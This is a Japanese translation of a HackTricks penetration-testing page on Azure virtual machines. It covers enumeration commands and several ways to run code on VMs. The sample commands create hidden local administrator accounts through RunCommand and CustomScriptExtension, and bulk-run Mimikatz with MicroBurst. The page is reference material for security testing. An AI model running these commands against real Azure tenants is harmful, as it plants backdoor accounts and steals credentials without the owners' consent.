Az - Virtual Machines & Network

HackTricksをサポートする

基本情報

ドキュメントから: Azureの仮想マシンは、Azureが提供するオンデマンドでスケーラブルなコンピューティングリソースの一つです。通常、他の選択肢よりもコンピューティング環境に対する制御が必要な場合に仮想マシンを選択します。この記事では、仮想マシンを作成する前に考慮すべきこと、作成方法、および管理方法についての情報を提供します。

Azureネットワーク情報

Azureネットワークには異なるエンティティと構成方法があります。 異なるAzureネットワークエンティティの簡単な説明、 例、および列挙コマンドは以下にあります:

Azure Bastion

Azure Bastionは、Azureポータルを介してSSL経由で安全で完全に管理されたRDP(リモートデスクトッププロトコル)およびSSH(セキュアシェル)アクセスソリューションを提供します。これはAzure仮想ネットワーク内に統合されており、プライベートIPを使用してVMへのRDPおよびSSH接続を可能にし、パブリックIPの必要性を回避します。これにより、VMアクセスのためのパブリックIP割り当てやNSGルール構成を含む従来の方法に対する安全で便利な代替手段となります。開発者やIT担当者は、Azureポータルからウェブブラウザを使用してVMに安全にアクセスでき、開発およびテスト環境のプロセスを効率化します。

サブスクリプション内のすべてのAzure Bastionホストをリストするには、次のコマンドを使用できます:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM 列挙

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

VMでコマンドを実行する

VMでのAADログイン

AzureADを介して認証されたユーザーにアクセスを許可することが可能です。例えば、linux VMにアクセスしようとする場合:ssh username@azure-corp.com@1.1.1.1(ログインを試みる際に使用したazurecorpのメールアドレス使用することが重要です)というエラーが発生することがあります:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

その指示に従ってhttps://microsoft.com/deviceloginにアクセスし、コードを入力し、メールアドレスとパスワードを資格情報として使用すると、SSH経由で接続できるようになります(そのユーザーに十分な権限がある場合:Virtual Machine Administrator LoginまたはVirtual Machine User Loginロール)。

コマンドを実行

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

カスタムスクリプト拡張を実行する

Azure仮想マシン(VM)拡張は、Azure VMs上でのデプロイ後の構成および自動化のタスクを提供する小さなアプリケーションです。たとえば、仮想マシンにソフトウェアのインストール、ウイルス対策、または内部でスクリプトを実行する機能が必要な場合、VM拡張を使用できます。

したがって、書き込むアクセス権がある場合、任意のコードを実行できます:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) は、コードを通じてホストを設定するために使用される、Ansible に似た PowerShell ツールです。DSC は Azure と統合されており、特定の構成ファイルをアップロードできます。これらのファイルは厳格な構文に従う必要があります。特に、Azure の DSC 拡張機能は、特定のフォーマット基準を満たすファイルからコマンドを実行でき、DSC 標準の構文が正しくなくても実行されることがあります。

これらのコマンドの実行は、Az PowerShell の Publish-AzVMDscConfiguration 関数によって促進されます。要件には、定義された関数を持つ .PS1 ファイルが含まれ、そのファイルは .zip ファイルに圧縮される必要があります。構文が DSC に対して正確でなくても、コードは実行されます。ただし、拡張機能は実行ステータスを「失敗」としてマークし、コマンドからの出力は失敗メッセージによって上書きされるため表示されません。

VM Application Definitions

VM Application Definitions は、バージョン管理されたアプリケーションを Azure VM に繰り返しデプロイすることを可能にします。このリソースは、VM 全体でのアプリケーションのデプロイと更新をサポートします。これを設定するには、Az PowerShell の New-AzGalleryApplication および New-AzGalleryApplicationVersion などのコマンドを含むいくつかの手順が必要です。

この方法でアプリケーションやコマンドを実行するには、アプリケーションが VM に適用されると自動的にインストールされる "VMAppExtension" が関与します。拡張機能は、指定された URI からファイルを取得し、拡張子なしでアプリケーションと同じ名前を付けます。ファイルを正しく実行するには、REST API 呼び出しの "ManageActions" フィールドを適切な拡張子でファイル名を変更するように設定する必要があります。この方法の設定が完了すると、提供された図に示されている構造に似たものになります。

ただし、この実行方法は比較的遅く、アプリケーションやコマンドを実行するのに約 3-4 分かかります。このプロセスに関連するファイルは、特定のディレクトリに保存されます(アプリケーションコピー用の C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ と、実行ステータス用の C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\)。

両方の技術は、Azure 環境でコマンドを実行し、アプリケーションをデプロイするための独自の方法を提供し、それぞれに独自の要件、手順、および考慮事項があります。

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) は、Automation Account で構成された Runbook を、指定された HWG の一部である Azure Virtual Machine (VM) で実行できる Azure の機能です。この実行は、VM にインストールされた拡張機能を通じて促進され、Runbook コードが VM にデプロイされます。このプロセスの重要な側面は、実際の資格情報が実行に影響しないことです。なぜなら、コードは特権昇格された状態で実行され、具体的には SYSTEM または root として実行されるからです。

Windows 10 VM を利用する人にとって重要な詳細は、Runbook の PowerShell バージョンを指定する必要があることです。これを PowerShell バージョン 5.1 として実行するように設定する必要があります。これは、PowerShell 7.1 がこれらの VM にデフォルトでインストールされていないため、バージョン 7.1 を指定するとスクリプトの実行が失敗するからです。

Azure のこの機能は、ハイブリッド環境全体でのタスクの自動化と管理のための強力な方法を提供し、Azure VM 上でのタスクの集中管理と実行を可能にします。

References

Support HackTricks

Last updated